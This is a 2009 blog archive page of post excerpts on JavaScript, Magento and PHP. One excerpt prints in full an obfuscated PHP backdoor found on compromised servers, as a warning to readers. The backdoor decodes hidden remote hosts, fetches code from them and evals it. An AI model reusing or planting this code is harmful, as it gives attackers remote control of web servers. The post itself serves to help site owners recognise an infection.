Archive:

 

Archive for September, 2009


If you are trying to use associative arrays in Javascript, the first thing is to not use the Array type and instead just use objects. The weird and wonderful thing is that if you create your array as an object, you can still use the array style square brackets to access object properties. So for [...]



 

One of the really cool features of Magento is the ability to easily setup a multistore on one installation of Magento. If you have never done it before though it can be a little tricky. Here is very brief guide: First create the stores. This is all done via the Magento administration. System->Manage Stores foreach [...]



 

I'm currently working on a project that has some really heavy javascript requirements. For the project I decided on using jQuery to implement the required functionality. Now having only used jQuery for a few days I have to say I'm impressed with how easy and intuitive it is. That combined with the excellent jQuery support [...]



 

If you have some cron jobs set up and you are finding large amounts of files saved in your home directory (or root) then perhaps you have the same issue I had. I was using wget to call on some PHP scripts to run periodically. wget will do what it says on the tin and [...]



 

If you get an error message like this: PLAIN TEXT CODE: Fatal error: Call to a member function getDbVersion() on a non-object in /var/www/magento/app/code/core/Mage/Core/Model/Resource/Setup.php on line 136 Then it looks like your app/etc/config.xml file has been corrupted somehow. Restore this file from a backup or otherwise replace it and hopefully you should be back in [...]



 

If you suddenly find a load of weird php files in your server with contents a bit like this: PLAIN TEXT PHP: <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="bbb9c757ee480495e0311cdcd352dfb1") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?> Then it looks like your server has been compromised and you immediately need to change your FTP password to something long and secure. After that, ideally restore [...]



 

After finding the main Magento forum a bit frustrating to use I have decided to launch our own Magento Forum. Its totally empty at the moment but we will be keeping an eye on it and will try to answer any Magento questions that come up on the board. We are finding that more and [...]



 

This little PHP function will allow you to import a csv or tab etc delimited text file into a database table. Handy if you need it PLAIN TEXT PHP: function build_table_from_file($tablename, $filepath, $delim="\t") {     db_query("DROP TABLE IF EXISTS $tablename");     $fp=fopen($filepath, 'r');     $headers=false;     while($r=(($delim=='csv')?fgetcsv($fp):fgets($fp))) {       [...]



 

If you are struggling with a UNICODE file in your PHP scripts and aren't ready or able to make the jump to PHP5.3 then this little snippet might help you out: PLAIN TEXT PHP: $converted = dirname(__FILE__).'/converted.txt'; $source= dirname(__FILE__).'/source.txt'; shell_exec("iconv -o $conv  -f UNICODE -t UTF-8 -V $converted"); Its using the Linux iconv command. Of [...]



 

Magento, the ecommerce package that everyone is talking about at the moment and that Edmonds Commerce have been keeping a close eye on for the past couple of years or so has won the best of open source enterprise software award for the second year running. Run by InfoWorld, the awards highlight the cream of [...]